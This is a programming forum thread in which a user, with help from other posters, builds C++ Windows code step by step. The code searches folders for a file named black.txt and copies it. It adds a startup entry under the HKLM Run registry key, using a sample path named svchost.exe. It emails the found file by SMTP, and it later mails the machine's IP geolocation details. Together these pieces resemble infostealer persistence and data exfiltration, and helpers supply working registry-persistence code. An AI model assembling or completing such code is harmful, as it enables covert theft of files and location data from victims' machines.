-
How to convert const std::filesystem::directory_entry to tchar?
I'm trying to convert const std::filesystem::directory_entry (dirent) to tchar but I don't understand how it an be done. I tried a lot of ways. Can you help me?
Code:
#include <memory>
#include <filesystem>
#include <algorithm>
#include <iostream>
#include <tchar.h>
namespace fs = std::filesystem;
int main() try
{
std::for_each(fs::recursive_directory_iterator("./foo/"), {},
[](fs::directory_entry const& dirent)
{
if (fs::is_regular_file(dirent) &&
dirent.path().filename() == "black.txt")
TCHAR path[_MAX_PATH];
const std::filesystem::directory_entry &entry = *path;
_tcscpy(path, dirent);
});
}
catch (fs::filesystem_error const& e)
{
std::cerr << "error: " << e.what() << '\n';
}
-
Re: How to convert const std::filesystem::directory_entry to tchar?
-
Re: How to convert const std::filesystem::directory_entry to tchar?
.filename() returns a type path. To access this as a 'c-style' string, use .c_str(). So something like this (not tried):
Code:
_tcscpy(path, dirent.path().filename().c_str());
-
Re: How to convert const std::filesystem::directory_entry to tchar?
Quote:
Originally Posted by
2kaud
.filename() returns a type path. To access this as a 'c-style' string, use .c_str(). So something like this (not tried):
Code:
_tcscpy(path, dirent.path().filename().c_str());
Unfortunately it shows errors: https://imgur.com/a/wOhD5ln and "path" is undeclared identifier
-
Re: How to convert const std::filesystem::directory_entry to tchar?
This compiles as Multi-byte character set:
Code:
#include <memory>
#include <filesystem>
#include <algorithm>
#include <iostream>
#include <tchar.h>
namespace fs = std::filesystem;
int main()
{
try {
std::for_each(fs::recursive_directory_iterator("./foo/"), {},
[](fs::directory_entry const& dirent)
{
if (fs::is_regular_file(dirent) &&
dirent.path().filename() == "black.txt") {
TCHAR path[_MAX_PATH];
_tcscpy(path, dirent.path().filename().string().c_str());
}
});
}
catch (fs::filesystem_error const& e)
{
std::cerr << "error: " << e.what() << '\n';
}
}
-
Re: How to convert const std::filesystem::directory_entry to tchar?
Quote:
Originally Posted by
prako2
Have a look at the Format observers section in https://en.cppreference.com/w/cpp/filesystem/path
-
Re: How to convert const std::filesystem::directory_entry to tchar?
Quote:
Originally Posted by
2kaud
This compiles as Multi-byte character set:
Code:
#include <memory>
#include <filesystem>
#include <algorithm>
#include <iostream>
#include <tchar.h>
namespace fs = std::filesystem;
int main()
{
try {
std::for_each(fs::recursive_directory_iterator("./foo/"), {},
[](fs::directory_entry const& dirent)
{
if (fs::is_regular_file(dirent) &&
dirent.path().filename() == "black.txt") {
TCHAR path[_MAX_PATH];
_tcscpy(path, dirent.path().filename().string().c_str());
}
});
}
catch (fs::filesystem_error const& e)
{
std::cerr << "error: " << e.what() << '\n';
}
}
Thank you, it compiles now. But I encountered more global problem. I'm using v141_xp in vs2017 and I'm getting >c:\program files (x86)\microsoft sdks\windows\v7.1a\include\objbase.h(239): error C2760: syntax error: unexpected token 'identifier', expected 'type specifier' if I add <windows.h>. If using v141 then windows.h is not found at all. And I can't find any solution for this.
-
Re: How to convert const std::filesystem::directory_entry to tchar?
Quote:
Originally Posted by
VictorN
Thanks, I was looking to it before.
-
Re: How to convert const std::filesystem::directory_entry to tchar?
I solved windows.h problem by setting up conformance mode to no. I'm trying a code with copy function of windows.h but it doesn't work (path variable).
Code:
#include "pch.h"
#include <Windows.h>
#include <memory>
#include <filesystem>
#include <algorithm>
#include <iostream>
#include <tchar.h>
namespace fs = std::filesystem;
int main()
{
try {
std::for_each(fs::recursive_directory_iterator("d:/folder/"), {},
[](fs::directory_entry const& dirent)
{
if (fs::is_regular_file(dirent) &&
dirent.path().filename() == "black.txt")
fs::copy(dirent, "d:/folder/");
TCHAR path[_MAX_PATH];
_tcscpy(path, dirent.path().filename().string().c_str());
CopyFile(
path,
"d://folder//red//white.txt", // Hardwire the path\filename
TRUE // Do not overwrite it if it already exists.
);
}
);
}
catch (fs::filesystem_error const& e)
{
std::cerr << "error: " << e.what() << '\n';
}
}
I want to copy d://folder//(unknownDir)//black.txt to d://folder//red//white.txt but it doesn't work.
-
Re: How to convert const std::filesystem::directory_entry to tchar?
Quote:
Originally Posted by
prako2
Code:
...
CopyFile(
path,
"d://folder//red//white.txt", // Hardwire the path\filename
TRUE // Do not overwrite it if it already exists.,
...
I want to copy d://folder//(unknownDir)//black.txt to d://folder//red//white.txt but it doesn't work.
Did you probably meant "d:/folder/red/white.tx"?
Or "d:\\folder\\red\\white.tx"?
-
Re: How to convert const std::filesystem::directory_entry to tchar?
For me // works everywhere, fs::copy(dirent, "d://folder//"); works well but not in
Quote:
CopyFile(
path,
"d://folder//red//white.txt", // Hardwire the path\filename
TRUE // Do not overwrite it if it already exists.,
but if not "path" variable CopyFile also works. For clearence I changed everything to // and I get the same results
Code:
#include "pch.h"
#include <Windows.h>
#include <memory>
#include <filesystem>
#include <algorithm>
#include <iostream>
#include <tchar.h>
namespace fs = std::filesystem;
int main()
{
try {
std::for_each(fs::recursive_directory_iterator("d://folder//"), {},
[](fs::directory_entry const& dirent)
{
if (fs::is_regular_file(dirent) &&
dirent.path().filename() == "black.txt")
fs::copy(dirent, "d://folder//");
TCHAR path[_MAX_PATH];
_tcscpy(path, dirent.path().filename().string().c_str());
CopyFile(
path,
"d://folder//red//white.txt", // Hardwire the path\filename
TRUE // Do not overwrite it if it already exists.
);
}
);
}
catch (fs::filesystem_error const& e)
{
std::cerr << "error: " << e.what() << '\n';
}
}
/ Also works for me in fs::copy(dirent, "d:/folder/");
-
Re: How to convert const std::filesystem::directory_entry to tchar?
-
Re: How to convert const std::filesystem::directory_entry to tchar?
I just debugged and it says that imgur.com/a/Ul4f4ua and I can't understand why
-
Re: How to convert const std::filesystem::directory_entry to tchar?
a.txt was in my "folder". Now I deleted it and now it shows that "path" is equal to some weird symbols
-
Re: How to convert const std::filesystem::directory_entry to tchar?
using / in a path name may work in some places, but \ is the path separator in windows. And in a non-raw text string, then \\ is used. So
"d://folder//" becomes "d:\\folder\" and "d://folder//red//white.txt" becomes ""d:\\folder\\red\\white.txt". If / is used for a path, then you don't use //.
Quote:
I want to copy d://folder//(unknownDir)//black.txt to d://folder//red//white.txt if white.txt does not exist
Consider:
Code:
#include <filesystem>
namespace fs = std::filesystem;
const fs::path initpath {"c:\\myprogs\\folder\\"};
const fs::path destname {"c:\\myprogs\\folder\\red\\white.txt"};
const fs::path req_fn {"black.txt"};
int main()
{
for (const auto& fn : fs::recursive_directory_iterator(initpath))
if (fs::is_regular_file(fn) && fn.path().filename() == req_fn) {
fs::copy_file(fn.path(), destname, fs::copy_options::skip_existing);
break;
}
}
-
Re: How to convert const std::filesystem::directory_entry to tchar?
Quote:
Originally Posted by
2kaud
using / in a path name may work in some places, but \ is the path separator in windows. And in a non-raw text string, then \\ is used. So
"d://folder//" becomes "d:\\folder" and "d://folder//red//white.txt" becomes ""d:\\folder\\red\\white.txt". If / is used for a path, then you don't use //.
Consider:
Code:
#include <filesystem>
namespace fs = std::filesystem;
const fs::path initpath {"c:\\myprogs\\folder\\"};
const fs::path destname {"c:\\myprogs\\folder\\red\\white.txt"};
const fs::path req_fn {"black.txt"};
int main()
{
for (const auto& fn : fs::recursive_directory_iterator(initpath))
if (fs::is_regular_file(fn) && fn.path().filename() == req_fn) {
fs::copy_file(fn.path(), destname, fs::copy_options::skip_existing);
break;
}
}
Your code crashes for me somehow
-
Re: How to convert const std::filesystem::directory_entry to tchar?
Works ok on my system with my test folders. Copies the specified file as required. VS2019, release build, Multi-byte character set.
Is there something special about your folder structure/files? Can you zip the folder directory and its subs and files and post as an attachment?
-
Re: How to convert const std::filesystem::directory_entry to tchar?
Tried moving the source folder deep into another nested folder and using the root of that as the start point - but the code still works OK and copies the file to where it should be.
-
Re: How to convert const std::filesystem::directory_entry to tchar?
Ok, sorry, it works when I changed a location. Now, If I want to place that unknown path/filename instead of "C:\\svchost.exe" like fn.path().string().c_str how it can be done?
Code:
#include "pch.h"
#include <filesystem>
#include <stdio.h>
#include <windows.h>
using namespace std;
namespace fs = std::filesystem;
const fs::path initpath{ "d:\\folder\\" };
const fs::path destname{ "d:\\folder\\red\\white.txt" };
const fs::path req_fn{ "black.txt" };
int main()
{
for (const auto& fn : fs::recursive_directory_iterator(initpath))
if (fs::is_regular_file(fn) && fn.path().filename() == req_fn) {
fs::copy_file(fn.path(), destname, fs::copy_options::skip_existing);
break;
HKEY hkey;
LONG regOpenResult;
const char PATH[] = "C:\\svchost.exe"; /*This is
the path of
your program*/
regOpenResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0,
KEY_ALL_ACCESS,
&hkey);
RegSetValueEx(hkey,
"Random name", //This is the name that shows up in your registry
0,
REG_SZ,
(BYTE*)PATH,
strlen(PATH));
RegCloseKey(hkey);
return 0;
}
}
-
Re: How to convert const std::filesystem::directory_entry to tchar?
Like this:
Code:
#include <filesystem>
#include <iostream>
#include <windows.h>
using namespace std;
namespace fs = std::filesystem;
const fs::path initpath {"c:\\develop\\"};
const fs::path destname {"c:\\myprogs\\folder\\red\\white.txt"};
const fs::path req_fn {"black.txt"};
int main()
{
for (const auto& fn : fs::recursive_directory_iterator(initpath))
if (fs::is_regular_file(fn) && fn.path().filename() == req_fn) {
fs::copy_file(fn.path(), destname, fs::copy_options::skip_existing);
HKEY hkey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0,
KEY_ALL_ACCESS,
&hkey);
RegSetValueEx(hkey,
"Random name", //This is the name that shows up in your registry
0,
REG_SZ,
(BYTE*)fn.path().string().c_str(),
fn.path().string().length() + 1);
RegCloseKey(hkey);
break;
}
}
This will set the data for "Random Name" to the "original folder\\black.txt".
NOTE that depending upon whether you are using Windows32/64 and 32/64 bit .exe, you could come across Windows Registry Redirector. See https://docs.microsoft.com/en-us/win...try-redirector
If this happens, then the key "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" could actually be mapped to "SOFTWARE\\wow6432node\\Microsoft\\Windows\\CurrentVersion\\Run"
-
Re: How to convert const std::filesystem::directory_entry to tchar?
Thanks, but this is still difficult to understand for me. How would you change "qa_data/jpg/starfish.jpg" in this code?
Code:
#include <filesystem>
#include <iostream>
#include <windows.h>
#include <CkMailMan.h>
#include <CkEmail.h>
using namespace std;
namespace fs = std::filesystem;
const fs::path initpath{ "c:\\myprogs\\folder\\" };
const fs::path destname{ "c:\\myprogs\\folder\\red\\white.txt" };
const fs::path req_fn{ "black.txt" };
int main()
{
for (const auto& fn : fs::recursive_directory_iterator(initpath))
if (fs::is_regular_file(fn) && fn.path().filename() == req_fn) {
fs::copy_file(fn.path(), destname, fs::copy_options::skip_existing);
break;
// This example requires the Chilkat API to have been previously unlocked.
// See Global Unlock Sample for sample code.
// The mailman object is used for sending (SMTP) and receiving (POP3) email.
CkMailMan mailman;
// Set the SMTP server.
mailman.put_SmtpHost("smtp.my-tls-mail-server.com");
// Set the SMTP login/password (if required)
mailman.put_SmtpUsername("MY_SMTP_USERNAME");
mailman.put_SmtpPassword("MY_SMTP_PASSWORD");
// Connect to SMTP port 465 using TLS.
mailman.put_SmtpSsl(true);
mailman.put_SmtpPort(465);
// Create a new email object
CkEmail email;
email.put_Subject("This is a test");
email.put_Body("This is a test");
email.put_From("Chilkat Support <support@chilkatsoft.com>");
bool success = email.AddTo("Chilkat Admin", "admin@chilkatsoft.com");
// To add more recipients, call AddTo, AddCC, or AddBcc once per recipient.
// Add some attachments.
// The AddFileAttachment method returns the value of the content-type it chose for the attachment.
const char *contentType = email.addFileAttachment("qa_data/jpg/starfish.jpg");
if (email.get_LastMethodSuccess() != true) {
std::cout << email.lastErrorText() << "\r\n";
}
contentType = email.addFileAttachment("qa_data/pdf/fishing.pdf");
if (email.get_LastMethodSuccess() != true) {
std::cout << email.lastErrorText() << "\r\n";
}
// Call SendEmail to connect to the SMTP server and send.
// The connection (i.e. session) to the SMTP server remains
// open so that subsequent SendEmail calls may use the
// same connection.
success = mailman.SendEmail(email);
if (success != true) {
std::cout << mailman.lastErrorText() << "\r\n";
}
success = mailman.CloseSmtpConnection();
if (success != true) {
std::cout << "Connection to SMTP server not closed cleanly." << "\r\n";
}
std::cout << "Mail with attachments sent!" << "\r\n";
}
}
-
Re: How to convert const std::filesystem::directory_entry to tchar?
Quote:
How would you change "qa_data/jpg/starfish.jpg" in this code?
To what? If you want it to be "d:\\folder\\<unknown>\\black.txt" then simply fn.path().string().c_str() as in the example in post #20.
If you want something else, you need to be more specific.
Also note that the break statement should come after all the code to be executed when the required file is found. In the code in post #21, once the file is found, only the copy_file() is executed - everything in that block after the break is ignored.
-
Re: How to convert const std::filesystem::directory_entry to tchar?
Thank you, you are helping me a lot. Yes it works, sorry. I get a good file to email but it's named "New folderblack.txt" (New folder is unknown folder). But it's a detail of course. Maybe copying a file using windows.h didn't work for the same reason.
-
Re: How to convert const std::filesystem::directory_entry to tchar?
But if cout << fn.path().string().c_str() << "\n"; it shows well: d:\folder\New folder\black.txt, if I replace \\ with // it shows d://folder//New folder\black.txt and \ doesn't work with CopyFile of window.h
-
Re: How to convert const std::filesystem::directory_entry to tchar?
Have you tried stepping through the code in a debugger? Figure out the paths, see what you have, make the code changes for what you expect and try again?
-
Re: How to convert const std::filesystem::directory_entry to tchar?
Quote:
Originally Posted by
Arjay
Have you tried stepping through the code in a debugger? Figure out the paths, see what you have, make the code changes for what you expect and try again?
I tried all cases:
Code:
const fs::path req_fn{ "black.txt" };
const fs::path req_fn{ "/black.txt" };
const fs::path req_fn{ "//black.txt" };
const fs::path req_fn{ "\black.txt" };
const fs::path req_fn{ "\\black.txt" };
But everything turns to /
-
Re: How to convert const std::filesystem::directory_entry to tchar?
Why CopyFile() and not fs::copy_file() ?
With copy_file() you just need to use fn.path().
Quote:
and \ doesn't work with CopyFile of window.h
It does. Consider:
Code:
#include <filesystem>
#include <windows.h>
using namespace std;
namespace fs = std::filesystem;
const fs::path initpath {"c:\\develop\\"};
const fs::path destname {"c:\\myprogs\\folder\\red\\white.txt"};
const fs::path req_fn {"black.txt"};
int main()
{
for (const auto& fn : fs::recursive_directory_iterator(initpath))
if (fs::is_regular_file(fn) && fn.path().filename() == req_fn) {
//fs::copy_file(fn.path(), destname, fs::copy_options::skip_existing);
CopyFile(fn.path().string().c_str(), destname.string().c_str(), TRUE);
break;
}
}
CopyFile() here works just the same as copy_file().
-
Re: How to convert const std::filesystem::directory_entry to tchar?
I tried previous code (not yours) before so it didn't work. Now email example works well as well, IDK what I did wrong before. Thx.
-
Re: How to convert const std::filesystem::directory_entry to tchar?
Code:
const char *region = 0;
const char *regionName = 0;
// const char *status = 0;
const char *timezone = 0;
const char *zip = 0;
region = json.stringOf("region");
regionName = json.stringOf("regionName");
//status = json.stringOf("status");
timezone = json.stringOf("timezone");
zip = json.stringOf("zip");
// The mailman object is used for sending (SMTP) and receiving (POP3) email.
CkMailMan mailman;
// Any string argument automatically begins the 30-day trial.
success = mailman.UnlockComponent("");
if (success != true) {
std::cout << mailman.lastErrorText() << "\r\n";
return;
}
// Set the SMTP server.
mailman.put_SmtpHost("smtp.gmail.com");
// Set the SMTP login/password (if required)
mailman.put_SmtpUsername("USERNAME");
mailman.put_SmtpPassword("PASS");
// Connect to SMTP port 465 using TLS.
mailman.put_SmtpSsl(true);
mailman.put_SmtpPort(465);
// Create a new email object
CkEmail email;
//char* badAndWrongCountry = const_cast<char*>(country);
//char* badAndWrongQuery = const_cast<char*>(query);
//_tcscat(badAndWrongCountry, badAndWrongQuery);
std::string buf(region);
buf.append(regionName);
email.put_Subject(buf.c_str());
Do you know how to contacenate 2 const chars in this situation? They're region and regionName and I want to place it to email.put_Subject. I tried many conversions but they give me weird symbols instead of letters if letters are mixed with digits.
-
Re: How to convert const std::filesystem::directory_entry to tchar?
One of the easiest ways to concatenate 2 c-style null-terminated strings is:
Code:
const char* cc1 = "my";
const char* cc2 = "name";
const string s3 = cc1 + ""s + cc2;
printf("%s\n", s3.c_str());
[Note the s after the "" - this is required]
-
Re: How to convert const std::filesystem::directory_entry to tchar?
Nice, it works. Maybe it's possible to put "Space" between?
-
Re: How to convert const std::filesystem::directory_entry to tchar?
Yes. if you want a separator, just replace ""s with "separator"s eg " "s
-
Re: How to convert const std::filesystem::directory_entry to tchar?
Weird. Seems I tried it before but probably I did something else.
Edited: remebered that I tried this "' '"s.
-
Re: How to convert const std::filesystem::directory_entry to tchar?
It doesn't work on the other email. I'm getting weird symbols again and everytime I try, they are different. Do you know why it could be?
-
Re: How to convert const std::filesystem::directory_entry to tchar?
Quote:
Originally Posted by
prako2
It doesn't work on the other email. I'm getting weird symbols again and everytime I try, they are different. Do you know why it could be?
Could you post your actual code?
-
Re: How to convert const std::filesystem::directory_entry to tchar?
const string s3 = region + " "s + regionName;
printf("%s\n", s3.c_str());
email.put_Subject(s3.c_str());
-
Re: How to convert const std::filesystem::directory_entry to tchar?
Quote:
Originally Posted by
prako2
const string s3 = region + " "s + regionName;
printf("%s\n", s3.c_str());
email.put_Subject(s3.c_str());
Where and how are these region and regionName defined/initialized?
Did you debug your code? are the values of these variables correct (the same that were by initialization)?
Did you try something like
Code:
string s3 = region;
s3 += " ";
s3 += regionName;
instead?
-
Re: How to convert const std::filesystem::directory_entry to tchar?
Code:
region = json.stringOf("region");
regionName = json.stringOf("regionName");
What are the contents of region & regionName after the assignment here? Are they null-terminated c-style strings?
-
Re: How to convert const std::filesystem::directory_entry to tchar?
Instead of "Respublic of Lithuania (next pointer)78.63.209.141" I'm getting xnŪ 78.63.209.141 or ΓΈąį 78.63.209.141. It works well in Gmail but not in Yandex.
-
Re: How to convert const std::filesystem::directory_entry to tchar?
When issues arise dealing with c-style strings, It is often useful to see the actual contents of the memory used in both hex and char display. Something like this:
Code:
void display(const char* str)
{
for (auto s = str; *s; ++s)
printf("%hhx ", *s);
for (auto s = str; *s; ++s)
printf("%c ", *s);
puts("");
}
int main()
{
const char* cc1 = "my";
const char* cc2 = "name";
const string s3 = cc1 + ""s + cc2;
display(cc1);
display(cc2);
display(s3.c_str());
printf("%s\n", s3.c_str());
return 0;
}
which displays:
Code:
6d 79 m y
6e 61 6d 65 n a m e
6d 79 6e 61 6d 65 m y n a m e
myname
then if there seems to be a problem, you can see what is the underlying data.
So in your code, I suggest before the .put_Subject():
Code:
display(region);
display(regionName);
display(s3.c_str());
If this doesn't display as expected, then you know in which variable the error lies. if this all displays as expected, then the issue is with .putSubject().
PS Are you compiling as Unicode or Multi Byte Character Set? If Multi Byte, what encoding are you using - ASCII, utf-8, utf-16 etc?
-
Re: How to convert const std::filesystem::directory_entry to tchar?
-
Re: How to convert const std::filesystem::directory_entry to tchar?
Quote:
Originally Posted by
prako2
I use "Not set"
Well, i respect your "shortness", however it would be much better if you at least mentioned on what post you respond. :rolleyes: :cool:
FYI: Before you post....
-
Re: How to convert const std::filesystem::directory_entry to tchar?
I suspect this is the answer to the PS in post #40, and means that the Character Set property for the project is 'Not Set'. In which case I suggest changing it to 'Multi-byte character set' - and also saying what is the output from using the display() functions as also suggested in post #40.
-
Re: How to convert const std::filesystem::directory_entry to tchar?
VictorN, I'm sorry for being rude. 2kaud Thanks for helpful tips but I changed my code and I'm not able to test it.
-
Re: How to convert const std::filesystem::directory_entry to tchar?
Quote:
Originally Posted by
prako2
VictorN, I'm sorry for being rude. 2kaud Thanks for helpful tips but I changed my code and I'm not able to test it.
Better late than never... :)